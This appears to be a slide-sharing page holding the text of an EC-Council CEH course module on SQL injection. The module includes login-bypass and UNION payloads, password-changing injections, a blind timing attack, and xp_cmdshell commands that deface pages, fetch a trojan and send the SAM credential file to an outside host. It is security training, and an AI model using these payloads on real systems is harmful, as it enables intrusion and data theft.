Web & Wireless HackingWeb & Wireless Hacking
Web & Wireless Hacking
 
OWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacksOWASP Top 10 - Day 1 - A1 injection attacks
OWASP Top 10 - Day 1 - A1 injection attacks
 
Web hacking series part 3
Web hacking series part 3Web hacking series part 3
Web hacking series part 3
 
SQL Injection in JAVA
SQL Injection in JAVASQL Injection in JAVA
SQL Injection in JAVA
 
null Bangalore meet - Php Security
null Bangalore meet - Php Securitynull Bangalore meet - Php Security
null Bangalore meet - Php Security
 
Rails Security
Rails SecurityRails Security
Rails Security
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
 
SQL Injection Attacks
SQL Injection AttacksSQL Injection Attacks
SQL Injection Attacks
 
Sql injection attacks
Sql injection attacksSql injection attacks
Sql injection attacks
 
Sql injection attacks
Sql injection attacksSql injection attacks
Sql injection attacks
 
Making Joomla Insecure - Explaining security by breaking it
Making Joomla Insecure - Explaining security by breaking itMaking Joomla Insecure - Explaining security by breaking it
Making Joomla Insecure - Explaining security by breaking it
 
Sql injection attacks
Sql injection attacksSql injection attacks
Sql injection attacks
 
SQL Injection and DoS
SQL Injection and DoSSQL Injection and DoS
SQL Injection and DoS
 
Understanding and preventing sql injection attacks
Understanding and preventing sql injection attacksUnderstanding and preventing sql injection attacks
Understanding and preventing sql injection attacks
 
4 andrii kudiurov - web application security 101
4   andrii kudiurov - web application security 1014   andrii kudiurov - web application security 101
4 andrii kudiurov - web application security 101
 
Unique Features of SQL Injection in PHP Assignment
Unique Features of SQL Injection in PHP AssignmentUnique Features of SQL Injection in PHP Assignment
Unique Features of SQL Injection in PHP Assignment
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
 
Practical Approach towards SQLi ppt
Practical Approach towards SQLi pptPractical Approach towards SQLi ppt
Practical Approach towards SQLi ppt
 
Module 14 (sql injection)
Module 14 (sql injection)Module 14 (sql injection)
Module 14 (sql injection)
 

More from Vi Tính Hoàng Nam

CATALOGUE QUESTEK (Tiếng Việt)
CATALOGUE QUESTEK (Tiếng Việt)CATALOGUE QUESTEK (Tiếng Việt)
CATALOGUE QUESTEK (Tiếng Việt)
Vi Tính Hoàng Nam
 
CATALOG KBVISION (Tiếng Việt)
CATALOG KBVISION (Tiếng Việt)CATALOG KBVISION (Tiếng Việt)
CATALOG KBVISION (Tiếng Việt)
Vi Tính Hoàng Nam
 
Catalogue 2015
Catalogue 2015Catalogue 2015
Catalogue 2015
Vi Tính Hoàng Nam
 
Tl wr740 n-v4_user_guide_1910010682_vn
Tl wr740 n-v4_user_guide_1910010682_vnTl wr740 n-v4_user_guide_1910010682_vn
Tl wr740 n-v4_user_guide_1910010682_vn
Vi Tính Hoàng Nam
 
CATALOGUE CAMERA GIÁM SÁT
CATALOGUE CAMERA GIÁM SÁTCATALOGUE CAMERA GIÁM SÁT
CATALOGUE CAMERA GIÁM SÁT
Vi Tính Hoàng Nam
 
HƯỚNG DẪN SỬ DỤNG ĐẦU GHI QTD-6108
HƯỚNG DẪN SỬ DỤNG ĐẦU GHI QTD-6108HƯỚNG DẪN SỬ DỤNG ĐẦU GHI QTD-6108
HƯỚNG DẪN SỬ DỤNG ĐẦU GHI QTD-6108
Vi Tính Hoàng Nam
 
Các loại cáp mạng
Các loại cáp mạngCác loại cáp mạng
Các loại cáp mạng
Vi Tính Hoàng Nam
 
Catalogue 10-2014-new
Catalogue 10-2014-newCatalogue 10-2014-new
Catalogue 10-2014-new
Vi Tính Hoàng Nam
 
Qtx 6404
Qtx 6404Qtx 6404
Camera QTX-1210
Camera QTX-1210Camera QTX-1210
Camera QTX-1210
Vi Tính Hoàng Nam
 
Brochua đầu ghi hình QTD-6100 Series
Brochua đầu ghi hình QTD-6100 SeriesBrochua đầu ghi hình QTD-6100 Series
Brochua đầu ghi hình QTD-6100 Series
Vi Tính Hoàng Nam
 
NSRT: Dụng cụ tháo đầu báo
NSRT: Dụng cụ tháo đầu báoNSRT: Dụng cụ tháo đầu báo
NSRT: Dụng cụ tháo đầu báo
Vi Tính Hoàng Nam
 
SLV-24N: Đầu báo khói quang
SLV-24N: Đầu báo khói quangSLV-24N: Đầu báo khói quang
SLV-24N: Đầu báo khói quang
Vi Tính Hoàng Nam
 
SLV-24N: Đầu báo khói quang
SLV-24N: Đầu báo khói quangSLV-24N: Đầu báo khói quang
SLV-24N: Đầu báo khói quang
Vi Tính Hoàng Nam
 
PEX-xx: Bộ hiển thị phụ 5-210 zone cho tủ RPP, RPS, RPQ
PEX-xx: Bộ hiển thị phụ 5-210 zone cho tủ RPP, RPS, RPQPEX-xx: Bộ hiển thị phụ 5-210 zone cho tủ RPP, RPS, RPQ
PEX-xx: Bộ hiển thị phụ 5-210 zone cho tủ RPP, RPS, RPQ
Vi Tính Hoàng Nam
 
HRA-1000: Hiển thị phụ cho TT HCP-1008E
HRA-1000: Hiển thị phụ cho TT HCP-1008EHRA-1000: Hiển thị phụ cho TT HCP-1008E
HRA-1000: Hiển thị phụ cho TT HCP-1008E
Vi Tính Hoàng Nam
 
RPP-ABW: TT báo cháy 10-20 kênh
RPP-ABW: TT báo cháy 10-20 kênhRPP-ABW: TT báo cháy 10-20 kênh
RPP-ABW: TT báo cháy 10-20 kênh
Vi Tính Hoàng Nam
 
RPP-ECW: TT báo cháy 3-5 kênh
RPP-ECW: TT báo cháy 3-5 kênhRPP-ECW: TT báo cháy 3-5 kênh
RPP-ECW: TT báo cháy 3-5 kênh
Vi Tính Hoàng Nam
 
HCP-1008E: TT báo cháy 8-24 kênh
HCP-1008E: TT báo cháy 8-24 kênhHCP-1008E: TT báo cháy 8-24 kênh
HCP-1008E: TT báo cháy 8-24 kênh
Vi Tính Hoàng Nam
 
HCV-2/4/8: TT báo cháy 2,4,8 kênh
HCV-2/4/8: TT báo cháy 2,4,8 kênhHCV-2/4/8: TT báo cháy 2,4,8 kênh
HCV-2/4/8: TT báo cháy 2,4,8 kênh
Vi Tính Hoàng Nam
 

More from Vi Tính Hoàng Nam (20)

CATALOGUE QUESTEK (Tiếng Việt)
CATALOGUE QUESTEK (Tiếng Việt)CATALOGUE QUESTEK (Tiếng Việt)
CATALOGUE QUESTEK (Tiếng Việt)
 
CATALOG KBVISION (Tiếng Việt)
CATALOG KBVISION (Tiếng Việt)CATALOG KBVISION (Tiếng Việt)
CATALOG KBVISION (Tiếng Việt)
 
Catalogue 2015
Catalogue 2015Catalogue 2015
Catalogue 2015
 
Tl wr740 n-v4_user_guide_1910010682_vn
Tl wr740 n-v4_user_guide_1910010682_vnTl wr740 n-v4_user_guide_1910010682_vn
Tl wr740 n-v4_user_guide_1910010682_vn
 
CATALOGUE CAMERA GIÁM SÁT
CATALOGUE CAMERA GIÁM SÁTCATALOGUE CAMERA GIÁM SÁT
CATALOGUE CAMERA GIÁM SÁT
 
HƯỚNG DẪN SỬ DỤNG ĐẦU GHI QTD-6108
HƯỚNG DẪN SỬ DỤNG ĐẦU GHI QTD-6108HƯỚNG DẪN SỬ DỤNG ĐẦU GHI QTD-6108
HƯỚNG DẪN SỬ DỤNG ĐẦU GHI QTD-6108
 
Các loại cáp mạng
Các loại cáp mạngCác loại cáp mạng
Các loại cáp mạng
 
Catalogue 10-2014-new
Catalogue 10-2014-newCatalogue 10-2014-new
Catalogue 10-2014-new
 
Qtx 6404
Qtx 6404Qtx 6404
Qtx 6404
 
Camera QTX-1210
Camera QTX-1210Camera QTX-1210
Camera QTX-1210
 
Brochua đầu ghi hình QTD-6100 Series
Brochua đầu ghi hình QTD-6100 SeriesBrochua đầu ghi hình QTD-6100 Series
Brochua đầu ghi hình QTD-6100 Series
 
NSRT: Dụng cụ tháo đầu báo
NSRT: Dụng cụ tháo đầu báoNSRT: Dụng cụ tháo đầu báo
NSRT: Dụng cụ tháo đầu báo
 
SLV-24N: Đầu báo khói quang
SLV-24N: Đầu báo khói quangSLV-24N: Đầu báo khói quang
SLV-24N: Đầu báo khói quang
 
SLV-24N: Đầu báo khói quang
SLV-24N: Đầu báo khói quangSLV-24N: Đầu báo khói quang
SLV-24N: Đầu báo khói quang
 
PEX-xx: Bộ hiển thị phụ 5-210 zone cho tủ RPP, RPS, RPQ
PEX-xx: Bộ hiển thị phụ 5-210 zone cho tủ RPP, RPS, RPQPEX-xx: Bộ hiển thị phụ 5-210 zone cho tủ RPP, RPS, RPQ
PEX-xx: Bộ hiển thị phụ 5-210 zone cho tủ RPP, RPS, RPQ
 
HRA-1000: Hiển thị phụ cho TT HCP-1008E
HRA-1000: Hiển thị phụ cho TT HCP-1008EHRA-1000: Hiển thị phụ cho TT HCP-1008E
HRA-1000: Hiển thị phụ cho TT HCP-1008E
 
RPP-ABW: TT báo cháy 10-20 kênh
RPP-ABW: TT báo cháy 10-20 kênhRPP-ABW: TT báo cháy 10-20 kênh
RPP-ABW: TT báo cháy 10-20 kênh
 
RPP-ECW: TT báo cháy 3-5 kênh
RPP-ECW: TT báo cháy 3-5 kênhRPP-ECW: TT báo cháy 3-5 kênh
RPP-ECW: TT báo cháy 3-5 kênh
 
HCP-1008E: TT báo cháy 8-24 kênh
HCP-1008E: TT báo cháy 8-24 kênhHCP-1008E: TT báo cháy 8-24 kênh
HCP-1008E: TT báo cháy 8-24 kênh
 
HCV-2/4/8: TT báo cháy 2,4,8 kênh
HCV-2/4/8: TT báo cháy 2,4,8 kênhHCV-2/4/8: TT báo cháy 2,4,8 kênh
HCV-2/4/8: TT báo cháy 2,4,8 kênh
 

Recently uploaded

UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
DianaGray10
 
GraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge GraphGraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge Graph
Guy Korland
 
UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4
DianaGray10
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
KatiaHIMEUR1
 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance
 
Elevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object CalisthenicsElevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object Calisthenics
Dorra BARTAGUIZ
 
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
Product School
 
How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...
Product School
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
Jemma Hussein Allen
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
James Anderson
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
Sri Ambati
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
ControlCase
 
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Ramesh Iyer
 
The Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and SalesThe Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and Sales
Laura Byrne
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance
 
Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........
Alison B. Lowndes
 
Mission to Decommission: Importance of Decommissioning Products to Increase E...
Mission to Decommission: Importance of Decommissioning Products to Increase E...Mission to Decommission: Importance of Decommissioning Products to Increase E...
Mission to Decommission: Importance of Decommissioning Products to Increase E...
Product School
 
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
DanBrown980551
 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
Frank van Harmelen
 
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
Product School
 

Recently uploaded (20)

UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
 
GraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge GraphGraphRAG is All You need? LLM & Knowledge Graph
GraphRAG is All You need? LLM & Knowledge Graph
 
UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4UiPath Test Automation using UiPath Test Suite series, part 4
UiPath Test Automation using UiPath Test Suite series, part 4
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
 
Elevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object CalisthenicsElevating Tactical DDD Patterns Through Object Calisthenics
Elevating Tactical DDD Patterns Through Object Calisthenics
 
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
 
How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...How world-class product teams are winning in the AI era by CEO and Founder, P...
How world-class product teams are winning in the AI era by CEO and Founder, P...
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
 
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
 
The Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and SalesThe Art of the Pitch: WordPress Relationships and Sales
The Art of the Pitch: WordPress Relationships and Sales
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
 
Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........
 
Mission to Decommission: Importance of Decommissioning Products to Increase E...
Mission to Decommission: Importance of Decommissioning Products to Increase E...Mission to Decommission: Importance of Decommissioning Products to Increase E...
Mission to Decommission: Importance of Decommissioning Products to Increase E...
 
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
LF Energy Webinar: Electrical Grid Modelling and Simulation Through PowSyBl -...
 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
 
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
De-mystifying Zero to One: Design Informed Techniques for Greenfield Innovati...
 

Ceh v5 module 14 sql injection

  • 2. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Module Objective This module will familiarize you with the following: • SQL injection • Steps for performing SQL Injection • SQL Injection Techniques • SQL Injection in Oracle • SQL Injection in MySql • Attacking SQL servers • Automated Tools for SQL Injection • Countermeasures to SQL Injection
  • 3. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Module Flow SQL injection techniques Understanding SQL injection Steps Introducing SQL injection SQL injection in OracleSQL injection in MySqL SQL injection automated tools SQL injection countermeasures
  • 4. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited What is SQL Injection? SQL injection is a type of security exploit in which the attacker "injects" Structured Query Language (SQL) code through a web form input box, to gain access to resources, or make changes to data It is a technique of injecting SQL commands to exploit non-validated input vulnerabilities in a web application database backend Programmers use sequential commands with user input, making it easier for attackers to inject commands Attackers can execute arbitrary SQL commands through the web application
  • 5. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Exploiting Web Applications It exploits web applications that use client-supplied sql queries It enables an attacker to execute unauthorized SQL commands It also takes advantage of unsafe queries in web applications, and builds dynamic SQL queries For example, when a user logs onto a web page by using a user name and password for validation, a SQL query is used. However, the attacker can use SQL injection to send specially crafted user name and password fields that poison the original SQL query
  • 6. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection Steps What do you need? • Any web browser Input validation attack occurs here on a website
  • 7. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited What Should You Look For ? Try to look for pages that allow a user to submit data, for example a log in page, search page, feedback, etc. Look for HTML pages that use POST or GET commands If POST is used, you cannot see the parameters in the URL Check the source code of the HTML to get information • For example, to check whether it is using POST or GET, look for the <Form> tag in the source code <Form action=search.asp method=post> <input type=hidden name=X value=Z> </Form>
  • 8. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited What If It Doesn’t Take Input? If input is not given, check for pages like ASP, JSP, CGI, or PHP Check the URL that takes the following parameters: • Example –http:// www.xsecurity.com /index.asp?id=10 • In the above example, attackers might attempt: –http://www.xsecurity.com/index.asp?id =blah’ or 1=1--
  • 9. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited OLE DB Errors The user-filled fields are enclosed by a single quotation mark ('). To test, try using (') as the user name The following error message will be displayed when a (') is entered into a form that is vulnerable to an SQL injection attack If you get this error, then the website is vulnerable to an SQL injection attack
  • 10. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Input Validation Attack Input validation attack occurs here on a website
  • 11. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection Techniques SQL Injection techniques: • Authorization bypass – Bypassing log on forms • Using the SELECT command – Used to retrieve data from the database • Using the INSERT command – Used to add information to the database • Using SQL server stored procedures
  • 12. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited How to Test for SQL Injection Vulnerability? Use a single quote in the input: • blah’ or 1=1— • Login:blah’ or 1=1— • Password:blah’ or 1=1— • http://search/index.asp?id=blah’ or 1=1-- Depending on the query, try the following possibilities: • ‘ or 1=1-- • “ or 1=1-- • ‘ or ‘a’=‘a • “ or “a”=“a • ‘) or (‘a’=‘a)
  • 13. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited How does it Work? The hacker breaks into the system by injecting malformed SQL into the query. Original SQL Query: • strQry = "SELECT Count(*) FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'"; In the case of the user entering a valid user name of "Paul" and a password of "password", strQry becomes: • SELECT Count(*) FROM Users WHERE UserName='Paul' AND Password='password' But when the hacker enters ' Or 1=1 -- the query now becomes: • SELECT Count(*) FROM Users WHERE UserName='' Or 1=1 --' AND Password='' Because a pair of hyphens designates the beginning of a comment in SQL, the query becomes simply: • SELECT Count(*) FROM Users WHERE UserName='' Or 1=1
  • 14. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Executing Operating System Commands Use stored procedures like master..xp_cmdshell to perform remote execution Execute any OS commands here • blah‘;exec master..xp_cmdshell “insert OS command here” -- Ping a server • blah‘;exec master..xp_cmdshell “ping 10.10.1.2” -- Directory listing • blah‘;exec master..xp_cmdshell “dir c:*.* /s > c:directory.txt” -- Create a file • blah‘;exec master..xp_cmdshell “echo juggyboy-was-here > c:juggyboy.txt” –-
  • 15. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Executing Operating System Commands (cont’d) Defacing a web page (assuming that write access is allowed due to misconfiguration) • blah‘;exec master..xp_cmdshell “echo you-are- defaced > c:inetpubwww.rootindex.htm” –- Execute applications (only non-gui app) • blah‘;exec master..xp_cmdshell “cmd.exe /c appname.exe” -- Upload a Trojan to the server • blah‘;exec master..xp_cmdshell “tftp –i 10.0.0.4 GET trojan.exe c:trojan.exe” -- Download a file from the server • blah‘;exec master..xp_cmdshell “tftp –i 10.0.0.4 put c:winntrepairSAM SAM” --
  • 16. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Getting Output of SQL Query Use sp_makewebtask to write a query into an HTML • Example blah‘;EXEC master..sp_makewebtask “10.10.1.4sharecreditcard.html”, “SELECT * FROM CREDITCARD” The above command exports a table called credit card, to the attacker’s network share
  • 17. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Getting Data from the Database Using ODBC Error Message Using UNION keyword • http://xsecurity.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- • To retrieve information from the above query use SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- Using LIKE keyword • http:// xsecurity.com /index.asp?id=10 UNION SELECT TOP 1 TABLE FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25LOGIN%25’--
  • 18. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited How to Mine all Column Names of a Table? To map out all the column names of a table, type • http://xsecurity.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=‘admin_login’—- To get to the next column name, use NOT IN( ) • http:// xsecurity.com /index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=‘admin_login’ WHERE COLUMN_NAME NOT IN(‘login_id’)--
  • 19. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited How to Retrieve any Data? To get the login_name from the “admin_login” table • http:// xsecurity.com /index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-- From above, we get login_name of the admin_user To get the password for login_name=“yuri” -- • http”// xsecurity.com /index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=‘yuri’--
  • 20. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited How to Update/Insert Data into Database? After gathering all of column names of a table, it is possible to UPDATE or INSERT records into it • Example to change the password for “yuri”: • http:// xsecurity.com /index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newboy5’ WHERE login_name=‘yuri’-- To INSERT a record • http:// xsecurity.com /index.asp?id=10; INSERT INTO‘admin_login’(‘login_id’,’login_name’,’pas sword’,’details’)VALUES(111,’yuri2’,’newboy5’, ’NA’)--
  • 21. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Automated SQL Injection Tool: AutoMagic SQL Complete an automated SQL Injection attack tool
  • 22. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection in Oracle SQL Injection in Oracle can be performed as follows: • UNIONS can be added to the existing statement to execute a second statement • SUBSELECTS can be added to existing statements • Data Definition Language (DDL) can be injected if DDL is used in a dynamic SQL string • INSERTS, UPDATES, and DELETES can also be injected • Anonymous PL/SQL block in procedures
  • 23. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection in MySql Database It is not easy to perform SQL injection in a MySql database While coding with a MySql application, the injection vulnerability is not exploited It is difficult to trace the output You can see an error because the value retrieved, is passed on to multiple queries with different numbers of columns before the script ends In such situations, SELECT and UNION commands cannot be used
  • 24. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection in MySql Database (cont’d) For example: consider a database “pizza:” • http://www.xsecurity.com/pizza/index.php?a=post&s= reply&t=1' • To show the tables, type the query: mysql> SHOW TABLES; • To see the current user: mysql> SELECT USER(); • The following query shows the first byte of Admin's Hash: mysql> SELECT SUBSTRING(user_password,1,1)FROM mb_users WHERE user_group = 1; • The following query shows first byte of Admin's Hash as an ASCII number: mysql> SELECT ASCII('5');
  • 25. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection in MySql Database (cont’d) Preparing the GET Request • To inject SQL commands successfully we have to clean the request from any single quotes mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1, 1) = CHAR(53), BENCHMARK(1000000, MD5(CHAR(1))), null) FROM mb_users WHERE user_group = 1; Exploiting the Vulnerability • First, log in as a registered user, with the rights to reply the current thread http://127.0.0.1/pizza/index.php?a=post&s=reply&t=1 UNION SELECT IF (SUBSTRING(user_password,1,1) = CHAR(53), BENCHMARK(1000000, MD5(CHAR(1))), null), null, null, null, null FROM mb_users WHERE user_group = 1/* You will see a slow down, because the first byte is CHAR(53), 5
  • 26. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Attack against SQL Servers Techniques Involved • Understand SQL Server and extract the necessary information from the SQL Server Resolution Service • List of servers by Osql-L probes • Sc.exe sweeping of services • Port scanning • Use of commercial alternatives
  • 27. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Server Resolution Service (SSRS) This service is responsible for sending a response packet containing the connection details of clients who send a specially formed request The packet contains the details necessary to connect to the desired instance, including the TCP port The SSRS has buffer overflow vulnerabilities, that allow remote attackers to overwrite portions of system’s memory and execute arbitrary codes
  • 28. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Osql L- Probing Is a command-line utility provided by Microsoft with SQL Server 2000, that allows the user to issue queries to the server Osql.exe includes a discovery switch (-L) that will poll the network looking for other installations of SQL Server Osql.exe returns a list of server names and instances, but without details about TCP ports or netlibs
  • 29. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection Automated Tools SQLDict SqlExec SQLbf SQLSmack SQL2.exe AppDetective Database Scanner SQLPoke NGSSQLCrack NGSSQuirreL SQLPing v2.2
